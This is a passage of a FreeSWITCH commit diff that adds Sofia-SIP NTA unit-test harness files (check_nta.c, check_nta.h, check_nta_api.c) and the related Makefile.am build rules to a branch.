     retval = 0, s->s_rejected = 1;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,17 +16,20 @@
 			-I$(srcdir)/../tport -I../tport \
 			-I$(srcdir)/../url -I../url \
 			-I$(srcdir)/../features -I../features \
-			-I$(srcdir)/../su -I../su
+			-I$(srcdir)/../su -I../su \
+			-I$(top_srcdir)/s2check \
+			-I$(srcdir)/../stun -I ../stun
 
 # ----------------------------------------------------------------------
 # Build targets
 
 noinst_LTLIBRARIES = 	libnta.la
 
-check_PROGRAMS = 	test_nta_api test_nta portbind
+check_PROGRAMS = 	check_nta test_nta_api test_nta portbind
 dist_noinst_SCRIPTS =	run_test_nta_api run_test_nta
 
-TESTS =			run_test_nta_api run_test_nta
+TESTS =			run_check_nta run_test_nta_api run_test_nta
+
 TESTS_ENVIRONMENT =	$(SHELL)
 
 # ----------------------------------------------------------------------
@@ -57,12 +60,25 @@
 			../url/liburl.la \
 			../msg/libmsg.la \
 			../bnf/libbnf.la \
-			../su/libsu.la
+			../su/libsu.la \
+			${top_builddir}/s2check/libs2.a
 
 test_nta_LDFLAGS = 	-static
 
 MOSTLYCLEANFILES +=	.test[0-9]*
 
+if HAVE_CHECK
+
+check_nta_SOURCES =	check_nta.c check_nta.h \
+			check_nta_api.c \
+			check_nta_client.c
+
+check_nta_LDADD = 	${LDADD} @CHECK_LIBS@
+
+else
+check_nta_SOURCES = 	$(top_srcdir)/s2check/exit77.c
+endif
+
 # ----------------------------------------------------------------------
 # Install and distribution rules
 

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,483 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE check_nta.c
+ * @brief 2nd test Suite for Sofia SIP Transaction Engine
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @date Created: Wed Apr 30 12:48:27 EEST 2008 ppessi
+ */
+
+#include "config.h"
+
+#undef NDEBUG
+
+#include "check_nta.h"
+
+#include "s2dns.h"
+#include "s2base.h"
+#include "s2sip.h"
+
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/msg_addr.h>
+#include <sofia-sip/su_log.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/sresolv.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+#include <limits.h>
+#include <time.h>
+
+/* -- Globals -------------------------------------------------------------- */
+
+struct s2nta *s2;
+
+/* -- main ----------------------------------------------------------------- */
+
+static void usage(int exitcode)
+{
+  fprintf(exitcode ? stderr : stdout,
+	  "usage: %s [--xml=logfile] case,...\n", s2_tester);
+  exit(exitcode);
+}
+
+int main(int argc, char *argv[])
+{
+  int i, failed = 0, selected = 0;
+  char const *xml = NULL;
+  Suite *suite;
+  SRunner *runner;
+
+  s2_tester = "check_nta";
+  s2_suite("NTA");
+
+  if (getenv("CHECK_NTA_VERBOSE"))
+    s2_start_stop = strtoul(getenv("CHECK_NTA_VERBOSE"), NULL, 10);
+
+  for (i = 1; argv[i]; i++) {
+    if (su_strnmatch(argv[i], "--xml=", strlen("--xml="))) {
+      xml = argv[i] + strlen("--xml=");
+    }
+    else if (su_strmatch(argv[i], "--xml")) {
+      if (!(xml = argv[++i]))
+	usage(2);
+    }
+    else if (su_strmatch(argv[i], "-v")) {
+      s2_start_stop = 1;
+    }
+    else if (su_strmatch(argv[i], "-?") ||
+	     su_strmatch(argv[i], "-h") ||
+	     su_strmatch(argv[i], "--help"))
+      usage(0);
+    else {
+      s2_select_tests(argv[i]);
+      selected = 1;
+    }
+  }
+
+  if (!selected)
+    s2_select_tests(getenv("CHECK_NTA_CASES"));
+
+  suite = suite_create("Unit tests for nta (Sofia-SIP Transaction Engine)");
+
+  suite_add_tcase(suite, check_nta_api_1_0());
+  suite_add_tcase(suite, check_nta_client_2_0());
+  suite_add_tcase(suite, check_nta_client_2_1());
+  suite_add_tcase(suite, check_nta_client_2_2());
+
+  runner = srunner_create(suite);
+
+  if (xml)
+    srunner_set_xml(runner, argv[1]);
+
+  srunner_run_all(runner, CK_ENV);
+  failed = srunner_ntests_failed(runner);
+  srunner_free(runner);
+
+  exit(failed ? EXIT_FAILURE : EXIT_SUCCESS);
+}
+
+
+/* -- NTA callbacks -------------------------------------------------------- */
+
+struct event *
+s2_nta_remove_event(struct event *e)
+{
+  if ((*e->prev = e->next))
+    e->next->prev = e->prev;
+  e->prev = NULL, e->next = NULL;
+  return e;
+}
+
+void
+s2_nta_free_event(struct event *e)
+{
+  if (e) {
+    if (e->prev) {
+      if ((*e->prev = e->next))
+	e->next->prev = e->prev;
+    }
+    if (e->msg)
+      msg_destroy(e->msg);
+    free(e);
+  }
+}
+
+void
+s2_nta_flush_events(void)
+{
+  while (s2->events) {
+    s2_nta_free_event(s2->events);
+  }
+}
+
+struct event *
+s2_nta_next_event(void)
+{
+  for (;;) {
+    if (s2->events)
+      return s2_nta_remove_event(s2->events);
+    su_root_step(s2->root, 1);
+  }
+}
+
+struct event *
+s2_nta_vwait_for(enum wait_for wait_for0,
+		 void const *value0,
+		 va_list va0)
+{
+  struct event *e;
+
+  for (;;) {
+    for (e = s2->events; e; e = e->next) {
+      va_list va;
+      enum wait_for wait_for;
+      void const *value;
+
+      va_copy(va, va0);
+
+      for (wait_for = wait_for0, value = value0;
+	   wait_for;
+	   wait_for = va_arg(va, enum wait_for),
+	     value = va_arg(va, void const *)) {
+	switch (wait_for) {
+	case wait_for_amagic:
+	  if (value != e->amagic)
+	    goto next;
+	  break;
+	case wait_for_omagic:
+	  if (value != e->omagic)
+	    goto next;
+	  break;
+	case wait_for_orq:
+	  if (value != e->orq)
+	    goto next;
+	  break;
+	case wait_for_lmagic:
+	  if (value != e->lmagic)
+	    goto next;
+	  break;
+	case wait_for_leg:
+	  if (value != e->leg)
+	    goto next;
+	  break;
+	case wait_for_imagic:
+	  if (value != e->imagic)
+	    goto next;
+	  break;
+	case wait_for_irq:
+	  if (value != e->irq)
+	    goto next;
+	  break;
+	case wait_for_method:
+	  if ((sip_method_t)value != e->method)
+	    goto next;
+	  break;
+	case wait_for_method_name:
+	  if (!su_strmatch(value, e->method_name))
+	    goto next;
+	  break;
+	case wait_for_status:
+	  if ((int)value != e->status)
+	    goto next;
+	  break;
+	case wait_for_phrase:
+	  if (!su_casematch(value, e->phrase))
+	    goto next;
+	  break;
+	}
+      }
+
+    next:
+      va_end(va);
+
+      if (!wait_for)
+	return s2_nta_remove_event(e);
+    }
+    su_root_step(s2->root, 1);
+  }
+}
+
+struct event *
+s2_nta_wait_for(enum wait_for wait_for,
+		void const *value,
+		...)
+{
+  struct event *e;
+  va_list va;
+
+  va_start(va, value);
+  e = s2_nta_vwait_for(wait_for, value, va);
+  va_end(va);
+
+  return e;
+}
+
+int
+s2_nta_check_request(enum wait_for wait_for,
+		     void const *value,
+		     ...)
+{
+  struct event *e;
+  va_list va;
+
+  va_start(va, value);
+  e = s2_nta_vwait_for(wait_for, value, va);
+  va_end(va);
+
+  s2_nta_free_event(e);
+  return e != NULL;
+}
+
+int
+s2_nta_msg_callback(nta_agent_magic_t *magic,
+		    nta_agent_t *nta,
+		    msg_t *msg,
+		    sip_t *sip)
+{
+  struct event *e, **prev;
+
+  e = calloc(1, sizeof *e);
+
+  e->amagic = magic;
+  e->msg = msg;
+  e->sip = sip;
+
+  if (sip->sip_request) {
+    e->method = sip->sip_request->rq_method;
+    e->method_name = sip->sip_request->rq_method_name;
+  }
+  else {
+    e->status = sip->sip_status->st_status;
+    e->phrase = sip->sip_status->st_phrase;
+  }
+
+  for (prev = &s2->events; *prev; prev = &(*prev)->next)
+    ;
+  *prev = e, e->prev = prev;
+
+  return 0;
+}
+
+int
+s2_nta_orq_callback(nta_outgoing_magic_t *magic,
+		    nta_outgoing_t *orq,
+		    sip_t const *sip)
+{
+  struct event *e, **prev;
+
+  e = calloc(1, sizeof *e);
+
+  e->omagic = magic;
+  e->orq = orq;
+  e->msg = nta_outgoing_getresponse(orq);
+  e->sip = sip_object(e->msg);
+
+  e->status = nta_outgoing_status(orq);
+  e->phrase = sip ? sip->sip_status->st_phrase : "";
+
+  for (prev = &s2->events; *prev; prev = &(*prev)->next)
+    ;
+  *prev = e, e->prev = prev;
+
+  return 0;
+}
+
+int
+s2_nta_leg_callback(nta_leg_magic_t *magic,
+		    nta_leg_t *leg,
+		    nta_incoming_t *irq,
+		    sip_t const *sip)
+{
+  struct event *e, **prev;
+
+  e = calloc(1, sizeof *e);
+
+  e->lmagic = magic;
+  e->leg = leg;
+  e->irq = irq;
+
+  e->msg = nta_incoming_getrequest(irq);
+  e->sip = sip_object(e->msg);
+
+  e->method = e->sip->sip_request->rq_method;
+  e->method_name = e->sip->sip_request->rq_method_name;
+
+  for (prev = &s2->events; *prev; prev = &(*prev)->next)
+    ;
+  *prev = e, e->prev = prev;
+
+  return 0;
+}
+
+int
+s2_nta_irq_callback(nta_incoming_magic_t *magic,
+		    nta_incoming_t *irq,
+		    sip_t const *sip)
+{
+  struct event *e, **prev;
+
+  e = calloc(1, sizeof *e);
+
+  e->imagic = magic;
+  e->irq = irq;
+  e->msg = nta_incoming_getrequest_ackcancel(irq);
+  e->sip = sip_object(e->msg);
+
+  e->method = e->sip ? e->sip->sip_request->rq_method : 0;
+  e->method_name = e->sip ? e->sip->sip_request->rq_method_name : NULL;
+
+  for (prev = &s2->events; *prev; prev = &(*prev)->next)
+    ;
+  *prev = e, e->prev = prev;
+
+  return 0;
+}
+
+/* ====================================================================== */
+
+SOFIAPUBVAR su_log_t nta_log[];
+SOFIAPUBVAR su_log_t sresolv_log[];
+SOFIAPUBVAR su_log_t tport_log[];
+SOFIAPUBVAR su_log_t su_log_default[];
+
+void
+s2_nta_setup_logs(int level)
+{
+  su_log_soft_set_level(su_log_default, level);
+  su_log_soft_set_level(tport_log, level);
+  su_log_soft_set_level(nta_log, level);
+  su_log_soft_set_level(sresolv_log, level);
+
+  if (getenv("TPORT_LOG") == NULL && getenv("S2_TPORT_LOG") == NULL) {
+    if (s2sip)
+      tport_set_params(s2sip->master, TPTAG_LOG(level > 1), TAG_END());
+  }
+}
+
+void
+s2_nta_setup(char const *label,
+	     char const * const *transports,
+	     tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+
+  s2_setup(label);
+  s2_nta_setup_logs(0);
+  s2_dns_setup(s2base->root);
+  ta_start(ta, tag, value);
+  s2_sip_setup("example.org", transports, ta_tags(ta));
+  ta_end(ta);
+  assert(s2sip->contact);
+
+  s2_dns_domain("example.org", 1,
+		"s2", 1, s2sip->udp.contact ? s2sip->udp.contact->m_url : NULL,
+		"s2", 1, s2sip->tcp.contact ? s2sip->tcp.contact->m_url : NULL,
+		"s2", 1, s2sip->tls.contact ? s2sip->tls.contact->m_url : NULL,
+		NULL);
+}
+
+nta_agent_t *
+s2_nta_agent_setup(url_string_t const *bind_url,
+		   nta_message_f *callback,
+		   nta_agent_magic_t *magic,
+		   tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+
+  assert(s2base);
+
+  s2 = su_home_new(sizeof *s2); assert(s2);
+  s2->root = su_root_clone(s2base->root, s2); assert(s2->root);
+  fail_unless(s2->root != NULL);
+
+  ta_start(ta, tag, value);
+  s2->nta =
+    nta_agent_create(s2->root,
+		     bind_url ? bind_url : URL_STRING_MAKE("sip:*:*"),
+		     callback,
+		     magic,
+		     /* Use internal DNS server */
+		     /* Force sresolv to use localhost and s2dns as DNS server */
+#if HAVE_WIN32
+		     SRESTAG_RESOLV_CONF("NUL"),
+#else
+		     SRESTAG_RESOLV_CONF("/dev/null"),
+#endif
+		     ta_tags(ta));
+  ta_end(ta);
+
+  assert(s2->nta);
+
+  if (callback == NULL)
+    s2->default_leg = nta_leg_tcreate(s2->nta, s2_nta_leg_callback, NULL,
+				      NTATAG_NO_DIALOG(1),
+				      TAG_END());
+
+  return s2->nta;
+}
+
+void s2_nta_teardown(void)
+{
+  if (s2) {
+    s2_nta_flush_events();
+
+    if (s2->default_leg)
+      nta_leg_destroy(s2->default_leg), s2->default_leg = NULL;
+    nta_agent_destroy(s2->nta), s2->nta = NULL;
+    su_root_destroy(s2->root), s2->root = NULL;
+    su_home_unref(s2->home);
+    s2 = NULL;
+  }
+
+  s2_dns_teardown();
+  s2_sip_teardown();
+  s2_teardown();
+}

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,133 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ */
+
+#ifndef CHECK_NTA_H
+#define CHECK_NTA_H
+
+#include <s2check.h>
+
+#include <sofia-sip/sip.h>
+#include <sofia-sip/tport.h>
+#include <sofia-sip/nta.h>
+
+#include <stdarg.h>
+
+#include "s2sip.h"
+
+extern struct s2nta {
+  su_home_t home[1];
+
+  nta_agent_t *nta;
+
+  su_root_t *root;
+
+  nta_leg_t *default_leg;
+
+  struct event {
+    struct event *next, **prev;
+
+    nta_agent_magic_t *amagic;
+
+    nta_outgoing_magic_t *omagic;
+    nta_outgoing_t *orq;
+
+    nta_leg_magic_t *lmagic;
+    nta_leg_t *leg;
+
+    nta_incoming_magic_t *imagic;
+    nta_incoming_t *irq;
+
+    sip_method_t method;
+    char const *method_name;
+
+    int status;
+    char const *phrase;
+
+    msg_t *msg;
+    sip_t *sip;
+  } *events;
+} *s2;
+
+struct event *s2_nta_remove_event(struct event *e);
+void s2_nta_free_event(struct event *e);
+void s2_nta_flush_events(void);
+struct event *s2_nta_next_event(void);
+
+enum wait_for {
+  wait_for_amagic = 1,
+  wait_for_omagic,
+  wait_for_orq,
+  wait_for_lmagic,
+  wait_for_leg,
+  wait_for_imagic,
+  wait_for_irq,
+  wait_for_method,
+  wait_for_method_name,
+  wait_for_status,
+  wait_for_phrase
+};
+
+struct event *s2_nta_vwait_for(enum wait_for,
+			       void const *value,
+			       va_list va);
+
+struct event *s2_nta_wait_for(enum wait_for,
+			      void const *value,
+			      ...);
+
+int s2_nta_check_for(enum wait_for,
+		     void const *value,
+		     ...);
+
+int s2_nta_msg_callback(nta_agent_magic_t *magic,
+			nta_agent_t *nta,
+			msg_t *msg,
+			sip_t *sip);
+int s2_nta_orq_callback(nta_outgoing_magic_t *magic,
+			nta_outgoing_t *orq,
+			sip_t const *sip);
+int s2_nta_leg_callback(nta_leg_magic_t *magic,
+			nta_leg_t *leg,
+			nta_incoming_t *irq,
+			sip_t const *sip);
+int s2_nta_irq_callback(nta_incoming_magic_t *magic,
+			nta_incoming_t *irq,
+			sip_t const *sip);
+
+void s2_nta_setup_logs(int level);
+void s2_nta_setup(char const *label,
+		  char const * const *transports,
+		  tag_type_t tag, tag_value_t value, ...);
+
+nta_agent_t *s2_nta_agent_setup(url_string_t const *bind_url,
+				nta_message_f *callback,
+				nta_agent_magic_t *magic,
+				tag_type_t tag, tag_value_t value, ...);
+void s2_nta_teardown(void);
+
+TCase *check_nta_api_1_0(void);
+TCase *check_nta_client_2_0(void);
+TCase *check_nta_client_2_1(void);
+TCase *check_nta_client_2_2(void);
+
+#endif

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_api.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_api.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_api.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_api.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,268 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE check_nta_api.c
+ *
+ * @brief Check-driven tester for NTA API
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @copyright (C) 2009 Nokia Corporation.
+ */
+
+#include "config.h"
+
+#include "check_nta.h"
+#include "s2base.h"
+#include "nta_internal.h"
+
+#include <sofia-sip/nta.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_tag_io.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+
+#define NONE ((void *)-1)
+
+static void
+api_setup(void)
+{
+  s2_nta_setup("NTA", NULL, TAG_END());
+}
+
+static void
+api_teardown(void)
+{
+  mark_point();
+  s2_nta_teardown();
+}
+
+START_TEST(api_1_0_0)
+{
+  su_root_t *root = s2base->root;
+  nta_agent_t *nta;
+  su_home_t home[1];
+  su_nanotime_t nano;
+  nta_agent_magic_t *amagic = (void *)(home + 1);
+  nta_outgoing_magic_t *omagic = (void *)(home + 2);
+  msg_t *msg;
+
+  memset(home, 0, sizeof home); home->suh_size = (sizeof home);
+  su_home_init(home);
+
+  fail_unless(nta_agent_create(NULL,
+			       (url_string_t *)"sip:*:*",
+			       NULL,
+			       NULL,
+			       TAG_END()) == NULL);
+
+  fail_unless(nta_agent_create(root,
+			  (url_string_t *)"http://localhost:*/invalid/bind/url",
+			  NULL,
+			  NULL,
+			  TAG_END()) == NULL);
+
+  fail_unless(nta_agent_create(root,
+			       (url_string_t *)"sip:*:*;transport=XXX",
+			       NULL,
+			       NULL,
+			       TAG_END()) == NULL);
+  mark_point();
+  nta = nta_agent_create(root,
+			 (url_string_t *)"sip:*:*",
+			 NULL,
+			 NULL,
+			 TAG_END());
+  fail_unless(nta != NULL);
+
+  mark_point();
+  nta_agent_destroy(NULL);
+  mark_point();
+  nta_agent_destroy(nta);
+
+  mark_point();
+  nta = nta_agent_create(root,
+			 (url_string_t *)"sip:*:*",
+			 s2_nta_msg_callback,
+			 amagic,
+			 TAG_END());
+  fail_unless(nta != NULL);
+
+  fail_unless(nta_agent_contact(NULL) == NULL);
+  fail_unless(nta_agent_via(NULL) == NULL);
+  fail_if(strcmp(nta_agent_version(nta), nta_agent_version(NULL)));
+  fail_unless(nta_agent_magic(NULL) == NULL);
+  fail_unless(nta_agent_magic(nta) == amagic);
+  fail_unless(nta_agent_add_tport(NULL, NULL, TAG_END()) == -1);
+  fail_unless(nta_agent_newtag(home, "tag=%s", NULL) == NULL);
+  fail_unless(nta_agent_newtag(home, "tag=%s", nta) != NULL);
+
+  fail_unless(nta_msg_create(NULL, 0) == NULL);
+  fail_unless(nta_msg_complete(NULL) == -1);
+
+  fail_unless((msg = nta_msg_create(nta, 0)) != NULL);
+  fail_unless(nta_msg_complete(msg) == -1);
+  fail_unless(
+    nta_msg_request_complete(msg, NULL, SIP_METHOD(FOO), NULL) == -1);
+  fail_unless(nta_is_internal_msg(NULL) == 0);
+  fail_unless(nta_is_internal_msg(msg) == 0);
+  fail_unless(msg_set_flags(msg, NTA_INTERNAL_MSG));
+  fail_unless(nta_is_internal_msg(msg) == 1);
+  mark_point(); msg_destroy(msg); mark_point();
+
+  fail_unless(nta_leg_tcreate(NULL, NULL, NULL, TAG_END()) == NULL);
+  mark_point(); nta_leg_destroy(NULL); mark_point();
+  fail_unless(nta_leg_magic(NULL, NULL) == NULL);
+  mark_point(); nta_leg_bind(NULL, NULL, NULL); mark_point();
+  fail_unless(nta_leg_tag(NULL, "fidsafsa") == NULL);
+  fail_unless(nta_leg_rtag(NULL, "fidsafsa") == NULL);
+  fail_unless(nta_leg_get_tag(NULL) == NULL);
+  fail_unless(nta_leg_client_route(NULL, NULL, NULL) == -1);
+  fail_unless(nta_leg_client_reroute(NULL, NULL, NULL, 0) == -1);
+  fail_unless(nta_leg_server_route(NULL, NULL, NULL) == -1);
+  fail_unless(nta_leg_by_uri(NULL, NULL) == NULL);
+  fail_unless(
+    nta_leg_by_dialog(NULL,  NULL, NULL, NULL, NULL, NULL, NULL) == NULL);
+  fail_unless(
+    nta_leg_by_dialog(nta, NULL, NULL, NULL, NULL, NULL, NULL) == NULL);
+
+  fail_unless(nta_leg_make_replaces(NULL, NULL, 1) == NULL);
+  fail_unless(nta_leg_by_replaces(NULL, NULL) == NULL);
+
+  fail_unless(nta_incoming_create(NULL, NULL, NULL, NULL, TAG_END()) == NULL);
+  fail_unless(nta_incoming_create(nta, NULL, NULL, NULL, TAG_END()) == NULL);
+
+  mark_point(); nta_incoming_bind(NULL, NULL, NULL); mark_point();
+  fail_unless(nta_incoming_magic(NULL, NULL) == NULL);
+
+  fail_unless(nta_incoming_find(NULL, NULL, NULL) == NULL);
+  fail_unless(nta_incoming_find(nta, NULL, NULL) == NULL);
+
+  fail_unless(nta_incoming_tag(NULL, NULL) == NULL);
+  fail_unless(nta_incoming_gettag(NULL) == NULL);
+
+  fail_unless(nta_incoming_status(NULL) == 400);
+  fail_unless(nta_incoming_method(NULL) == sip_method_invalid);
+  fail_unless(nta_incoming_method_name(NULL) == NULL);
+  fail_unless(nta_incoming_url(NULL) == NULL);
+  fail_unless(nta_incoming_cseq(NULL) == 0);
+  fail_unless(nta_incoming_received(NULL, &nano) == 0);
+  fail_unless(nano == 0);
+
+  fail_unless(nta_incoming_set_params(NULL, TAG_END()) == -1);
+
+  fail_unless(nta_incoming_getrequest(NULL) == NULL);
+  fail_unless(nta_incoming_getrequest_ackcancel(NULL) == NULL);
+  fail_unless(nta_incoming_getresponse(NULL) == NULL);
+
+  fail_unless(
+    nta_incoming_complete_response(NULL, NULL, 800, "foo", TAG_END()) == -1);
+
+  fail_unless(nta_incoming_treply(NULL, SIP_200_OK, TAG_END()) == -1);
+  fail_unless(nta_incoming_mreply(NULL, NULL) == -1);
+
+  mark_point(); nta_incoming_destroy(NULL); mark_point();
+
+  fail_unless(
+    nta_outgoing_tcreate(NULL, s2_nta_orq_callback, omagic,
+			 URL_STRING_MAKE("sip:localhost"),
+			 SIP_METHOD_MESSAGE,
+			 URL_STRING_MAKE("sip:localhost"),
+			 TAG_END()) == NULL);
+
+  fail_unless(
+    nta_outgoing_mcreate(NULL, s2_nta_orq_callback, omagic,
+			 URL_STRING_MAKE("sip:localhost"),
+			 NULL,
+			 TAG_END()) == NULL);
+
+  fail_unless(nta_outgoing_default(NULL, NULL, NULL) == NULL);
+
+  fail_unless(nta_outgoing_bind(NULL, NULL, NULL) == -1);
+  fail_unless(nta_outgoing_magic(NULL, NULL) == NULL);
+
+  fail_unless(nta_outgoing_status(NULL) == 500);
+  fail_unless(nta_outgoing_method(NULL) == sip_method_invalid);
+  fail_unless(nta_outgoing_method_name(NULL) == NULL);
+  fail_unless(nta_outgoing_cseq(NULL) == 0);
+
+  fail_unless(nta_outgoing_delay(NULL) == UINT_MAX);
+  fail_unless(nta_outgoing_request_uri(NULL) == NULL);
+  fail_unless(nta_outgoing_route_uri(NULL) == NULL);
+
+  fail_unless(nta_outgoing_getresponse(NULL) == NULL);
+  fail_unless(nta_outgoing_getrequest(NULL) == NULL);
+
+  fail_unless(nta_outgoing_tagged(NULL, NULL, NULL, NULL, NULL) == NULL);
+  fail_unless(nta_outgoing_cancel(NULL) == -1);
+  fail_unless(nta_outgoing_tcancel(NULL, NULL, NULL, TAG_END()) == NULL);
+  mark_point(); nta_outgoing_destroy(NULL); mark_point();
+
+  fail_unless(nta_outgoing_find(NULL, NULL, NULL, NULL) == NULL);
+  fail_unless(nta_outgoing_find(nta, NULL, NULL, NULL) == NULL);
+
+  fail_unless(nta_outgoing_status(NONE) == 500);
+  fail_unless(nta_outgoing_method(NONE) == sip_method_invalid);
+  fail_unless(nta_outgoing_method_name(NONE) == NULL);
+  fail_unless(nta_outgoing_cseq(NONE) == 0);
+
+  fail_unless(nta_outgoing_delay(NONE) == UINT_MAX);
+  fail_unless(nta_outgoing_request_uri(NONE) == NULL);
+  fail_unless(nta_outgoing_route_uri(NONE) == NULL);
+
+  fail_unless(nta_outgoing_getresponse(NONE) == NULL);
+  fail_unless(nta_outgoing_getrequest(NONE) == NULL);
+
+  fail_unless(nta_outgoing_tagged(NONE, NULL, NULL, NULL, NULL) == NULL);
+  fail_unless(nta_outgoing_cancel(NONE) == -1);
+  fail_unless(nta_outgoing_tcancel(NONE, NULL, NULL, TAG_END()) == NULL);
+  mark_point(); nta_outgoing_destroy(NONE); mark_point();
+
+  fail_unless(nta_reliable_treply(NULL, NULL, NULL, 0, NULL, TAG_END()) == NULL);
+  fail_unless(nta_reliable_mreply(NULL, NULL, NULL, NULL) == NULL);
+  mark_point(); nta_reliable_destroy(NULL); mark_point();
+
+  mark_point(); nta_agent_destroy(nta); mark_point();
+  mark_point(); su_home_deinit(home); mark_point();
+}
+END_TEST
+
+/* ---------------------------------------------------------------------- */
+
+TCase *check_nta_api_1_0(void)
+{
+  TCase *tc = tcase_create("NTA 1 - API");
+
+  tcase_add_checked_fixture(tc, api_setup, api_teardown);
+
+  tcase_set_timeout(tc, 10);
+
+  tcase_add_test(tc, api_1_0_0);
+
+  return tc;
+}

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_client.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_client.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_client.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/check_nta_client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,513 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE check_nta_client.c
+ *
+ * @brief Check-driven tester for NTA client transactions
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @copyright (C) 2009 Nokia Corporation.
+ */
+
+#include "config.h"
+
+#include "check_nta.h"
+#include "s2base.h"
+#include "s2dns.h"
+
